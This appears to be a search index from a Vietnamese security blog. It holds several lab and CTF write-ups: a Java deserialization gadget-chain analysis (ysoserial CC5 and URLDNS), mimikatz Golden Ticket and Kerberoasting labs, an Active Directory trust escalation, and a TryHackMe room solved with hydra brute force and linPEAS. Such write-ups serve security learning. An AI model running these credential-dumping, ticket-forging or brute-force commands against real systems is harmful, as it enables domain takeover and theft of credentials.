là từ TiedMapEntry() tới LazyMap.get().\nỞ class TiedMapEntry.java ta có thể thấy rằng nó call 2 giá trị đó là getKey() và getValue().\nĐầu tiên ta sẽ thử click rồi follow method getKey() xem thử nó có gì.\nCó vẻ không có gì nó chỉ là get key từ object key không có gì để phân tích nên ta sẽ follow method getValue().\nThấy được rằng getValue() có gọi đến map nên ta sẽ set một cái breakpoint nằm ở ngay đoạn getValue().\nỒ ta thấy rằng nó gọi đến class LazyMap là một trong gadget của ta cần tới tiếp tục follow để xem nó có gọi đến LazyMap.get không.\nChuẩn theo gadget ta xác định được nó call đến LazyMap.get .\npublic Object get(Object key) { // Nếu map chưa có key này if (map.containsKey(key) == false) { // Tạo value bằng transformer Object value = factory.transform(key); // Lưu vào map map.put(key, value); return value; } // Nếu có rồi thì return bình thường return map.get(key); } Luồng xử lý nó đơn giản chỉ là :\ngetKey() → trả về \u0026ldquo;foo\u0026rdquo; (không có gì đặc biệt) getValue() → gọi map.get(key) → đây chính là LazyMap.get(\u0026ldquo;foo\u0026rdquo;) Vì \u0026ldquo;foo\u0026rdquo; chưa tồn tại trong LazyMap, phương thức get() sẽ: Gọi factory.transform(\u0026ldquo;foo\u0026rdquo;) Lưu kết quả vào map Trả về giá trị đó → factory ở đây là ChainedTransformer, nên transform() sẽ được gọi. Đã nạp key vào LazyMap bây giờ ta đã đi đến cuối gadget 2 bây giờ đi tiếp gadget tiếp theo.\nLazyMap.get() \u0026ndash;\u0026gt; ChainedTransformer.transform() Ta bay vào class LazyMap sau đó tìm được hàm get của nó sau đó tiến hành set thêm 1 cái breakpoint ở đây xem luồng xử lý nó sẽ như thế nào.\nRồi ở đây ta thấy nó đã chạy xuống dưới là hàm :\nObject value = factory.transform(key); Ở đây giá trị key đã có và được gán là foo nên điều kiện đúng và nó chạy đúng theo gadget. Trong ysoserial, factory được set thành ChainedTransformer và ta thấy rằng ở đây rằng hàm ChainedTransformer đã được gọi lên để ghép vào phần gadget này.\nChainedTransformer.transform() \u0026ndash;\u0026gt; Phần còn lại Như ở phần giới thiệu đã nói ngay sau LazyMap.get() là một chuỗi transform bao gồm :\nChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Từ cái breakpoint trước ta tiếp tục chạy nó đưa ta vào hàm public Object transform(Object object).\nỞ đây ta có thể thấy trong method transform của chain này nó sẽ tiến hành loop hết các giá trị bên trong i.Transformers sau đó thực hiện gán nó vào Object và return về có thể coi rằng bước loop này chính là chain mọi cái transform lại với nhau.\nthis.iTransformers[] trong gadgetchain này được set cho các giá trị lần lượt là:\nConstantTransformer InvokerTransformer InvokerTransformer InvokerTransformer ConstantTransformer Bây giờ ta sẽ test từng vòng loop để xem nó làm những gì.\nỞ đây với i=0 thì nó được gán Object là foo ở đây nó dạng this.iTransformers[0] = ConstantTransformer nó gọi ConstantTransformer(object).\nConstantTransformer sẽ có dạng như dưới đây :\nỞ đây ta sẽ thấy rằng giá trị của iConstant đã set giá trị của Object trở thành class lang.java.Runtime.\nTới với vòng lặp thứ 2 là i=1 ta có :\nthis.iTransformer[1].transform(object) = InvokerTransformer.transform(object)\nobject = class java.lang.Runtime()\nInvokerTransformer.transform()\nỞ đây ta có các giá trị bao gồm :\nClass cls : nó là class java.lang.Class. this.iMethodName = cls.getMethod nó đã được set ở trước. this.iParamTypes = Class[] { String.class, Class[].class } : cũng đã được set giá trị trước. Method method = Class.getMethod(). this.Args = new Object[] { “getRuntime”, new Class[0] }. Cuối cùng là nó thực hiện return method.invoke(input, iArgs) dưới đây là hình minh hoạ dễ hiểu cho method InvokerTransformer.\nỞ đây ở dòng Class cls = input.getClass(); có sự khác biệt khá lớn so với method InvokerTransformer.transform() thông thường vì method này thường sẽ input là một object nhưng ở đây nó lại là 1 class cụ thể là class java.lang.Runtime thật là ảo giác từ đó khi thực hiện getClass nó sẽ giống như gọi Class.getClass() rồi return nó lại class Class.\nSau đó đến dòng Method method = cls.getMethod(iMethodName, iParamTypes); thì nó cũng lú tương tự, ở đây nó sẽ dùng Class.getMethod và method này sẽ trả về getMethod của class Class.\nVà ở cuối sẽ là method invoke ta đã lấy ở bên trên ở đây nó sử dụng Method.invoke(object, args) nó là Reflection API ở đây nó sử dụng Reflection API này là để invoke một method của object khi nó không thể cast theo một kiểu đã được xác định trước. Ta có thể hiểu nôm na rằng ở đây ta có một private class ABCXZY nào đó và một public method foo() nào đó từ nơi khác nhận được object của class ABCXYZ. Thì ở đây thường để invoke được method ABCXYZ.foo() này ta sẽ không thể gọi thẳng đến object.foo() mà ta phải cast nó sang dạng kiểu ((ABCXYZ)object).foo(). Nhưng cái dở hơi ở đây ta lại khai báo nó là private class thì sao mà đưa ra ngoài được thì method Reflection giải quyết cho ta vấn đề trên.\nreturn method.invoke(input, this.iArgs); cũng không có gì với vòng lặp thứ 2 này kết quả của invoke này là kết quả của đoạn trước tại đây object của nó là class Runtime ta có thể xem input=Runtime.class là 1 object của class Class sau đó kết quả của vòng lặp thứ 3 này nó là method Runtime() bây giờ ta đi đến vòng lặp thứ 4\nTới với vòng lặp thứ 4 tại đây giá trị i = 3.\nTại đây giá trị của iMethodName đã là exec cùng với đó là iArgs nay đã được gán giá trị là calc.exe.\nDebug đến đây nó sẽ thực thi invoke chạy hàm exec đến calc.exe tại đây máy tính đã được popup lên.\nVậy là kết thúc phân tích CC5 của Ysoserial.\nNguồn tham khảo phân tích: https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-07-ysoserial-cc5/","summary":"\u003ch1 id=\"ysoserial-commons-collections-5-analyst\"\u003eYsoserial Commons Collections 5 Analyst\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-commonscollections-5-trong-ysoserial\"\u003eTổng quan CommonsCollections 5 trong Ysoserial\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eCommonsCollections\u003c/code\u003e là một trong những gadget chain nổi tiếng nhất trong các cuộc tấn công khai thác \u003ccode\u003eJava deserialization\u003c/code\u003e không an toàn, đặc biệt khi ứng dụng sử dụng thư viện \u003ccode\u003eApache Commons Collections\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eTrong bài viết này, chúng ta sẽ tập trung vào \u003ccode\u003eCommonsCollections5 (CC5)\u003c/code\u003e — một trong các chain được tích hợp sẵn trong công cụ \u003ccode\u003eysoserial\u003c/code\u003e . Mình chọn phân tích CC5 vì đây là chain được nhiều người đề xuất để học do tính minh bạch và dễ debug.\u003c/p\u003e","title":"Ysoserial Commons Collections 5 Analyst"},{"content":"Ired.Team Kerberos: Golden Tickets Lab Overview Lab này khám phá một cuộc tấn công vào Kerberos Authentication của Active Directory(AD). Chính xác hơn, đây là một cuộc tấn công giả mạo Vé cấp quyền Kerberos (TGT) được sử dụng để xác thực User bằng Kerberos.\nTGT được sử dụng khi Ticket Granting Service (TGS), nghĩa là một TGT giả có thể giúp chúng ta có được bất kỳ ticket TGS nào.\nMục tiêu của lab (Lab Goal) Tạo một Golden Ticket – một Ticket Granting Ticket (TGT) giả mạo – cho phép bạn:\nXác thực như bất kỳ người dùng nào trong domain (ví dụ: Administrator). Duy trì quyền truy cập lâu dài vào hệ thống (persistence). Truy cập mọi tài nguyên trong domain (vì TGT có thể yêu cầu TGS cho bất kỳ service nào). Execution Bước 1: Với bước đầu tiên ở đây ta sẽ tiến hành trích xuất NTLM hash của krbtgt account vì krbtgt account là tài khoản hệ thống đặc biệt trong Active Directory, được dùng để ký và mã hóa tất cả TGT. Hash của nó là chìa khóa để tạo Golden Ticket.\nỞ máy Domain Controller ta sẽ mở mimikatz và sử dụng lệnh sau:\nlsadump::lsa /inject /name:krbtgt Sau khi thực hiện lệnh này ta thấy rằng đã có được security id nhưng vẫn chưa có được NTLM hash thay vào đó là lỗi nên ta sẽ tìm cách fix nó.\nỞ đây ta sử dụng lệnh này để thay thế lệnh trên:\nlsadump::dcsync /user:\u0026#34;CN=krbtgt,CN=Users,DC=offense,DC=local\u0026#34; Thành công có được NTLM hash là 5544528fb7b444b5bfe7d176ac6aa587.\nBước 2: Bây giờ sau khi đã có NTLM hash bây giờ ta chuyển sang máy attacker cụ thể là máy RED.offense để thực hiện khai thác bây giờ ta sẽ thực hiện tạo một Golden Ticket có khả năng tự động inject vào trong login session hiện tại ở đây ta dùng lệnh sau:\nmimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-3710096372-560042618-2387674259 /rc4:5544528fb7b444b5bfe7d176ac6aa587 /user:newAdmin /id:500 /ptt Thành công tạo ra được Golden Ticket với user mới của ta là newAdmin bây giờ ta thử dùng klist để kiểm tra xem nó đã nạp user mới đúng chưa.\nThành công inject account vào session hiện tại ở đây thấy mấy cái dưới nữa là do thấy bấm không được nên spam mấy lần :v nhưng không sao thấy kết quả đúng là được rồi.\nBước 3: Tới bước cuối ta sẽ test thử xem liệu Golden Ticket sau khi giúp ta tạo acc mới thì có dùng được không, bây giờ ta sẽ thử mở một powershell mới với quyền hạn thấp thì xem thử có mount được qua máy dc.mantvydas không.\nKhông được rồi bây giờ với session đã được inject golden ticket thì sao ta sẽ test xem thử như nào.\nThành công ánh xạ đến ổ C của dc-mantvydas qua red.offense ở đây lý do nó có đường dẫn là ổ Z thì tại vì Windows không cho phép bạn cd trực tiếp vào đường dẫn mạng như \\server\\share, nên nó ánh xạ (map) đường dẫn đó thành một ổ đĩa ảo ở đây ta thấy là Z và ta đã thành công mount.\nThành công kết thúc lab Kerberos: Golden Tickets.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-07-i.redteam-kerberos-golden-ticket/","summary":"\u003ch1 id=\"iredteam-kerberos-golden-tickets-lab\"\u003eIred.Team Kerberos: Golden Tickets Lab\u003c/h1\u003e\n\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cp\u003eLab này khám phá một cuộc tấn công vào \u003ccode\u003eKerberos Authentication\u003c/code\u003e của \u003ccode\u003eActive Directory(AD)\u003c/code\u003e. Chính xác hơn, đây là một cuộc tấn công giả mạo \u003ccode\u003eVé cấp quyền Kerberos (TGT)\u003c/code\u003e được sử dụng để xác thực User bằng Kerberos.\u003c/p\u003e\n\u003cp\u003eTGT được sử dụng khi \u003ccode\u003eTicket Granting Service (TGS)\u003c/code\u003e, nghĩa là một TGT giả có thể giúp chúng ta có được bất kỳ ticket TGS nào.\u003c/p\u003e","title":"Ired.Team Kerberos Golden Tickets Lab"},{"content":"Tryhackme Basic Pentesting Challenge Sử dụng nmap để scan các port đang mở của target ở đây tôi sử dụng lệnh nmap -sV -T4 \u0026lt;ip\u0026gt; để scan cho nhanh và ta nhận được kết quả là 4 port đang mở.\nVới câu hỏi đầu là What is the name of the hidden directory on the web server ta sẽ tiến hành scan directory bằng gobuster ở đâu mình dùng lệnh :\ngobuster dir -u http://10.10.237.96 -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,html,txt Ta tìm được directory hidden đó là /development và trả lời câu hỏi thành công bây giờ thử truy cập vào xem sao.\nTa sẽ thử đọc nội dung của 2 file dev.txt và j.txt xem có gợi ý gì cho hướng đi tiếp theo không.\n2018-04-23: I\u0026#39;ve been messing with that struts stuff, and it\u0026#39;s pretty cool! I think it might be neat to host that on this server too. Haven\u0026#39;t made any real web apps yet, but I have tried that example you get to show off how it works (and it\u0026#39;s the REST version of the example!). Oh, and right now I\u0026#39;m using version 2.5.12, because other versions were giving me trouble. -K 2018-04-22: SMB has been configured. -K 2018-04-21: I got Apache set up. Will put in our content later. -J For J: I\u0026#39;ve been auditing the contents of /etc/shadow to make sure we don\u0026#39;t have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP. -K Có vẻ sau khi audit thì j tìm ra được có weak credentials ta sẽ thử tìm kiếm xem username và ở đây ngoài ra bên target có dùng SMB nên ta dùng thử tool enum4linux để liệt kê thông tin từ dịch vụ SMB (Server Message Block) để lấy username.\nDựa theo hint của 2 file txt kết hợp kết quả scan ta tìm ra được 2 username đó là kay và jan. Bây giờ để tìm ra password để SSH qua ta sẽ thử dùng hydra để brute-force ở đây mình dùng lệnh:\nhydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.237.96 Thành công lấy được password là armando.\nBây giờ ta sẽ ssh vào account jan và xem thử có cách nào để lấy được password của kay không.\nSau một lúc tìm kiếm thì có vẻ như không có file nào ta có thể đọc được nên ta sẽ dùng https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS để tìm thử các path khả dụng.\nTa Wget về sau đó đẩy nó ra qua python server ở port 8080 bây giờ sang bên máy jan ta sẽ get về sau đó chạy file sh.\nTa tìm được SSH private key của user kay bây giờ ta sẽ crack nó ra bằng john.\nThành công crack được passphrase của user kay bây giờ ta sẽ SSH qua user kay để lấy thông tin bên trong.\nThành công SSH với passphrase là beeswax.\nLấy được password thành công chỉ cần nộp đáp án và done room.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-04-thm-basic-pentesting/","summary":"\u003ch1 id=\"tryhackme-basic-pentesting-challenge\"\u003eTryhackme Basic Pentesting Challenge\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BkgEBzP1Zx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSử dụng nmap để scan các port đang mở của target ở đây tôi sử dụng lệnh \u003ccode\u003enmap -sV -T4 \u0026lt;ip\u0026gt;\u003c/code\u003e để scan cho nhanh và ta nhận được kết quả là 4 port đang mở.\u003c/p\u003e\n\u003cp\u003eVới câu hỏi đầu là \u003ccode\u003eWhat is the name of the hidden directory on the web server\u003c/code\u003e ta sẽ tiến hành scan directory bằng gobuster ở đâu mình dùng lệnh :\u003c/p\u003e","title":"Tryhackme Basic Pentesting Challenge"},{"content":"Ired.Team Kerberoasting (Credential Access) Giải thích về các khái niệm Kerberos trong Active Directory Trong môi trường Windows Active Directory (AD), Kerberos là giao thức xác thực mặc định. Nó sử dụng các ticket để xác thực người dùng và dịch vụ mà không truyền mật khẩu qua mạng. Các thành phần chính:\nKDC (Key Distribution Center): Thường là Domain Controller (DC). TGT (Ticket Granting Ticket): Cấp cho user sau khi đăng nhập thành công → dùng để xin ticket cho dịch vụ. TGS (Ticket Granting Service ticket): Là service ticket cho một dịch vụ cụ thể → dùng để truy cập dịch vụ đó. SPN là gì? (Service Principal Name) SPN là một định danh duy nhất cho một dịch vụ trong domain. Định dạng: ServiceClass/HostName[:Port] SPN được lưu trong thuộc tính servicePrincipalName của đối tượng người dùng (user object). TGS là gì? TGS (Ticket Granting Service ticket) là ticket dùng để truy cập một dịch vụ cụ thể. Khi user yêu cầu truy cập dịch vụ (ví dụ: IIS trên HTTP/dc-mantvydas.offense.local). Tìm tài khoản nào sở hữu SPN đó → ví dụ: user svc_iis. Tạo TGS, trong đó có phần \u0026quot;server ticket\u0026quot; được mã hóa bằng mật khẩu hash của svc_iis. Gửi TGS cho client. Kỹ thuật Kerberoasting là gì? Lợi dụng việc TGS được mã hóa bằng mật khẩu hash của tài khoản dịch vụ để trích xuất ticket, rồi brute-force offline nhằm khôi phục mật khẩu gốc.\nMục tiêu của Kerberoasting? Cho phép bất kỳ user hợp lệ nào trong domain trích xuất Ticket Granting Service (TGS) ticket dành cho các tài khoản dịch vụ có SPN (Service Principal Name). Những TGS này được mã hóa bằng NTLM hash của mật khẩu gốc của tài khoản dịch vụ. Kẻ tấn công có thể brute-force offline để lấy mật khẩu → không gây lockout tài khoản, vì không thực hiện xác thực sai. Build lab và tiến hành phân tích tấn công Dựa theo những máy AD đã được tạo ở lab trước bây giờ ta sẽ tiến hành tạo tài khoản service trên máy dc-mantvydas.offense.local ta dùng lệnh sau :\n# Tạo user service\rNew-ADUser -Name \u0026#34;iis_svc\u0026#34; -SamAccountName \u0026#34;iis_svc\u0026#34; -AccountPassword (ConvertTo-SecureString \u0026#34;KerbP@ss123!\u0026#34; -AsPlainText -Force) -Enabled $true -Description \u0026#34;Service account for IIS\u0026#34;**** Sau đó ta tiến hành gán SPN kiểu HTTP cho user ta vừa mới add đó ta dùng lệnh :\nsetspn -S HTTP/dc-mantvydas.offense.local offense\\iis_svc Sau đó ta tiến hành kiểm tra lại với lệnh :\nsetspn -L offense\\iis_svc Thành công kết quả trả về là HTTP/dc-mantvydas.offense.local. Vậy là ta đã có được SPN hoạt động trong domain được tạo bởi Domain Controller.\nTiến hành Execution Đầu tiên ta tiến hành liệt kê ra các SPN(Service Principle Name) ở đây ta dùng máy dc-red thay vì máy DC ta có được kết quả HTTP/dc-mantvydas.offense.local vậy là đáp ứng được điều kiện user account phải có thuộc tính servicePrincipalName.\nBây giờ ta sử dụng lệnh :\nAdd-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \u0026#34;HTTP/dc-mantvydas.offense.local\u0026#34; Để tiến hành request TGS ticket từ Kerberos.\nSau đó ta sẽ mở mimikatz để export ticket sau đó để đến với bước offline bruteforce.\nThành công thấy được ticket TGS.\nBây giờ ta sẽ đến với bước crack ticket để lấy được password.\nĐưa file sang bên kali cho dễ crack.\nSử dụng script python có sẵn ta đã thành công crack ra password và nó là Passw0rd!.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-03-i.redteam-kerberoasting/","summary":"\u003ch1 id=\"iredteam-kerberoasting-credential-access\"\u003eIred.Team Kerberoasting (Credential Access)\u003c/h1\u003e\n\u003ch3 id=\"giải-thích-về-các-khái-niệm\"\u003eGiải thích về các khái niệm\u003c/h3\u003e\n\u003ch4 id=\"kerberos-trong-active-directory\"\u003eKerberos trong Active Directory\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eTrong môi trường Windows Active Directory (AD), Kerberos là giao thức xác thực mặc định. Nó sử dụng các ticket để xác thực người dùng và dịch vụ mà không truyền mật khẩu qua mạng.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eCác thành phần chính:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eKDC \u003ccode\u003e(Key Distribution Center)\u003c/code\u003e: Thường là Domain Controller (DC).\u003c/li\u003e\n\u003cli\u003eTGT \u003ccode\u003e(Ticket Granting Ticket)\u003c/code\u003e: Cấp cho user sau khi đăng nhập thành công → dùng để xin ticket cho dịch vụ.\u003c/li\u003e\n\u003cli\u003eTGS \u003ccode\u003e(Ticket Granting Service ticket)\u003c/code\u003e: Là service ticket cho một dịch vụ cụ thể → dùng để truy cập dịch vụ đó.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"spn-là-gì-service-principal-name\"\u003eSPN là gì? (Service Principal Name)\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eSPN là một định danh duy nhất cho một dịch vụ trong domain.\u003c/li\u003e\n\u003cli\u003eĐịnh dạng: \u003ccode\u003eServiceClass/HostName[:Port]\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eSPN được lưu trong thuộc tính \u003ccode\u003eservicePrincipalName\u003c/code\u003e của đối tượng người dùng (user object).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"tgs-là-gì\"\u003eTGS là gì?\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eTGS \u003ccode\u003e(Ticket Granting Service ticket)\u003c/code\u003e là ticket dùng để truy cập một dịch vụ cụ thể.\u003c/li\u003e\n\u003cli\u003eKhi user yêu cầu truy cập dịch vụ (ví dụ: \u003ccode\u003eIIS trên HTTP/dc-mantvydas.offense.local\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eTìm tài khoản nào sở hữu SPN đó → ví dụ: \u003ccode\u003euser svc_iis\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eTạo TGS, trong đó có phần \u003ccode\u003e\u0026quot;server ticket\u0026quot;\u003c/code\u003e được mã hóa bằng mật khẩu hash của \u003ccode\u003esvc_iis\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eGửi TGS cho client.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"kỹ-thuật-kerberoasting-là-gì\"\u003eKỹ thuật Kerberoasting là gì?\u003c/h4\u003e\n\u003cp\u003eLợi dụng việc TGS được \u003ccode\u003emã hóa\u003c/code\u003e bằng mật khẩu hash của tài khoản dịch vụ để trích xuất ticket, rồi \u003ccode\u003ebrute-force offline\u003c/code\u003e nhằm khôi phục mật khẩu gốc.\u003c/p\u003e","title":"Ired.Team Kerberoasting (Credential Access)"},{"content":"Ired.Team From Domain Admin to Enterprise Admin Overview Ở lab này ta sẽ lợi dụng mối quan hệ giữa Parent-Child domain từ đó lợi dụng mối quan hệ đó và gây nên leo thang đặc quyền.\nBuild lab SetUp domain đặt tên là offense.local đây là domain cha với IP là 192.168.10.10/24 và DNS: 127.0.0.1.\nĐã cài xong Active Directory Domain Services (AD DS).\nĐã promote máy thành Domain Controller cho domain: offense.local.\nĐã có DNS Server chạy trên DC.\nĐang dùng VMware host-only network.\nSau đó setup máy red.offense đưa nó vào domain offense.local.\nGán ip sau đó set DNS trỏ đến ip của máy parent.local.\nNetwork Adapter: Host-only\nIP: 192.688.10.20/24\nDNS: 192.168.10.10 (MANTVYDAS DC - offense local).\nParent-child domain Ở đây cài đặt domain red.offense là con của offense.local ở đây khi mình truy cập vào Active Directory Domains and Trusts ở đây ta thấy nó cho ta thấy mối quan hệ giữa 2 domains và bên cạnh đó và default trust của 2 domains đó.\nỞ đây ta sử dụng lệnh ở cả 2 domain để kiểm tra :\nGet-ADTrust -Filter * Console đầu tiên show cho ta thấy được mối quan hệ giữa 2 domain trust ở đây là console của offense.local nó cho ta thấy nó là Name : red.offense.local. Console thứ 2 cũng thể hiện mối quan hệ tương tự giữa 2 domains. Ta để ý rằng cái Direction là BiDirectional điều đó có nghĩa là các thành viên có thể xác thực từ domain này sang domain khác khi họ muốn truy cập vào các resources được chia sẻ. Sử dụng lệnh nltest /domain_trusts.Thông tin tương tự nhưng rất đơn giản có thể được thu thập từ tệp nhị phân Windows.\nTương tự ta sử dụng lệnh dưới đây để lấy được thông tin tương tự như bên trên :\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() SourceName với TargetName đã thể hiện và TrustType là ParentChild.\nForest Trust Tạo một máy DC-BLUE có domain là defense.local sau đó đưa 2 cái DC là MANTVYDAS và BLUE vào cùng dải ip và cùng DNS Zone.\nSetUp DNS Forward ở cả 2 máy bây giờ 2 máy hoàn toàn có thể nslookup được cho nhau.\nTiến hành config forest trust cho defense.local cho offense.localở đây ta tạo incoming trust.\nGiờ ta hoàn toàn có thể truy cập dữ liệu của máy defense.local bằng máy offense.local nhưng máy defense sẽ không thể làm được điều ngược lại lí do là vì nó không được máy offense trust, user trên dc-mantvydas.offense.local không thể chia sẻ thư mục với defense\\administrator ==(vì offensive.local không tin tưởng defense.local)==.\nFrom DA to EA Bây giờ ta sẽ đi đến với kỹ thuật biến từ Domain Admin thành Enterprise Admin dựa theo kỹ thuật có sẵn.\n# Tạo user New-ADUser -Name \u0026#34;spotless\u0026#34; -SamAccountName \u0026#34;spotless\u0026#34; -Enabled $true -AccountPassword (ConvertTo-SecureString \u0026#34;Password123!\u0026#34; -AsPlainText -Force) # Gán vào Domain Admins Add-ADGroupMember -Identity \u0026#34;Domain Admins\u0026#34; -Members \u0026#34;spotless\u0026#34; Ta sẽ tạo user ở DC-RED là user spotless và đưa user đó vào thành Domain Admin.\nBây giờ nó đã là child admin ở đây mình sẽ không dùng empire powershell mà demo tấn công theo cách khác ở đây ta bỏ qua bước AD recon với lateral movement vì empire bị lỗi ta sẽ vào thẳng shell của dc-red luôn.\nBước 1: Xác nhận trust parent-child Bước 2: Xác nhận Domain Admin Bước 3: Lấy SID của Enterprise Admins (parent) Ta có SID là S-1-5-21-3710096372-560042618-2387674259-519.\nSau đó ta lấy SID của krbtgt là S-1-5-21-1522518357-539094533-3136975768-502.\nBước 4: Bắt đầu chạy psexec.exe mở CMD mới với quyền SYSTEM Bước 5: Tạo golden ticket trong mimikatz Bước 6: Nạp ticket và kiểm tra Bước 7: Sau khi tạo ticket tôi spawn ra cmd mới và kiểm tra user.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-10-30-iredteam-from-da-to-ea/","summary":"\u003ch1 id=\"iredteam-from-domain-admin-to-enterprise-admin\"\u003eIred.Team From Domain Admin to Enterprise Admin\u003c/h1\u003e\n\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cp\u003eỞ lab này ta sẽ lợi dụng mối quan hệ giữa \u003cstrong\u003eParent-Child\u003c/strong\u003e domain từ đó lợi dụng mối quan hệ đó và gây nên leo thang đặc quyền.\u003c/p\u003e\n\u003ch3 id=\"build-lab\"\u003eBuild lab\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BJhTNPJk-x.png\"\u003e\u003c/p\u003e\n\u003cp\u003eSetUp domain đặt tên là \u003ccode\u003eoffense.local\u003c/code\u003e đây là domain cha với IP là \u003ccode\u003e192.168.10.10/24\u003c/code\u003e và \u003ccode\u003eDNS: 127.0.0.1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BkRX1OR0ge.png\"\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eĐã cài xong \u003ccode\u003eActive Directory Domain Services (AD DS).\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eĐã promote máy thành \u003ccode\u003eDomain Controller\u003c/code\u003e cho domain: \u003ccode\u003eoffense.local\u003c/code\u003e.\u003c/p\u003e","title":"Ired.Team From Domain Admin to Enterprise Admin"},{"content":"Java Deserialze - URLDNS Chain analysis (ysoserial) Java Deserialize là gì? Java cung cấp cho người dùng hàm writeObject() để tiến hành quá trình serialize các object ở đây quá trình serialize sinh ra để chuyển một đối tượng Java thành chuỗi byte để lưu trữ (file, DB) hoặc truyền qua mạng (socket, RMI, JMS). Và để có thể đọc được dữ liệu được serialize từ ObjectInputStream ta có quá trình deserialize ở java sử dụng hàm readObject() cho quá trình đó. Khai thác Java Object Injection Rủi ro sẽ đến với các đối tượng xử lý deserialize các Untrusted Data. Attacker có thể lợi dụng các magic method, cách mà OOP vận hành từ đó tạo ra exploit chain hoàn chỉnh và tiến hành sử dụng payload. Tiến hành Setup môi trường test Tiến hành truy cập Respository của ysoserial tại : https://github.com/frohoff/ysoserial\nBây giờ tiến hành tải toàn bộ project về phân tích.\nVới project java như này để dễ cho việc đặt break point và debug thì tôi sử dụng IntelliJ IDEA để phân tích và debug.\nTruy cập vào Project sau đó truy cập đến thẳng /src/main/java/ysoserial/payloads/URLDNS ở đây tôi không cần cài thêm cái gì nữa vì IntelliJ hầu như có sẵn hết rồi chỉ việc debug.\nMột số điều về URLDNS Một trong những ưu điểm của URLDNS là nó ==không yêu cầu== bất kì library/dependencies nào nên có thể dùng để nhận biết Deserialization ở trên bất kì version của Java. Đây là một trong số các chain đơn giản nhất của ysoserial. Chain này ==không có tác dụng để RCE== nó chỉ đơn giản có tác dụng là chạy ==DNS request== chức năng nó tương tự như là DNSLookup. URLDNS là một “gadget chain” dùng trong các cuộc thử nghiệm deserialization ==Java OOB (out‑of‑band)== khi mà attacker nhận được kết quả truy vấn DNS thì chứng tỏ payload đã thực thi. Chain tận dụng các lớp/behavior có sẵn trên classpath của JVM mục tiêu (ví dụ các lớp trong java.net, JNDI, hoặc các thư viện bên thứ ba) để khiến JVM thực hiện lookup. Tiến hành phân tích source và payload Tiến vào trong payload ta thấy rằng có rất nhiều dòng comment để giải thích luồng hoạt động của payload cho ta dễ hiểu được cách mà payload đó hoạt động ở đây có dòng :\n* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() Ở đây họ comment cho mình luôn gadget chain của payload này cụ thể ở đây nó sẽ lần lượt gọi đến theo thứ tự :\nHashMap.readObject() --\u0026gt; HashMap.putVal() --\u0026gt; HashMap.hash() --\u0026gt; URL.hashCode() Bây giờ ta đi vào các thành phần bên trong payload.\npublic class URLDNS implements ObjectPayload\u0026lt;Object\u0026gt; { public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field \u0026lt;code\u0026gt;java.net.URL.handler\u0026lt;/code\u0026gt; is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, \u0026#34;hashCode\u0026#34;, -1); // During the put above, the URL\u0026#39;s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } Ở comment nói khá đầy đủ nhưng mình vẫn sẽ phân tích từng đoạn một :\nHàm getObject(final) được gọi khi mà bắt đầu quá trình serialize URLStreamHandler handler = new SilentURLStreamHandler(); Ở đây từ URLStreamHandler ta tạo một handle khác tuỳ chỉnh để có thể tránh việc nó thực hiện DNS resolution trong quá trình tạo payload nghĩa là nếu trong quá trình tạo ra payload nếu không có handle này nó sẽ tự động truy vấn trong lúc gen payload. HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value Tạo một HashMap và dùng URL làm key, giá trị chỉ là chuỗi url 